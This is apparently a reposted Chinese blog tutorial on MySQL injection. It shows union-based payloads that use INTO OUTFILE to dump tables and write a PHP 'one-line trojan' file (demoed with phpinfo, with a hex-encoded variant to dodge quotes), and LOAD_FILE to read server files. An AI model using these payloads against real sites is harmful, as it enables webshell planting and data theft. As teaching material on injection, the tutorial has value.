龙空技术网

Mysql注入 -- 数据库导出及读文件

之乎者也吧呀 194

前言:

而今看官们对“php存入文件”都比较着重,我们都需要知道一些“php存入文件”的相关资讯。那么小编也在网摘上搜集了一些对于“php存入文件””的相关知识,希望看官们能喜欢,各位老铁们快快来学习一下吧!

社会运行的规则和自己的不一样,不能我行我素,甚至有时还得违心讨好。。。

---- 网易云热评

一、数据库导出文件

1、连接数据库

2、通过into outfile导出数据库内容

select * from users into outfile "c:/1.sql";

3、通过into outfile语句,在C盘目录写入一句话木马

select '<?php phpinfo();?>' into outfile "c:/aiyou.php";

4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制

 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+ and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+

提示:

导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。

secure_file_priv=''

二、读文件

1、连接Mysql数据库,读取C盘的aiyou.php内容

select load_file("c:/aiyou.php");

2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制

 and 1=2 union select 1,2,load_file("c:/1.sql"); and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+

禁止非法,后果自负

标签: #php存入文件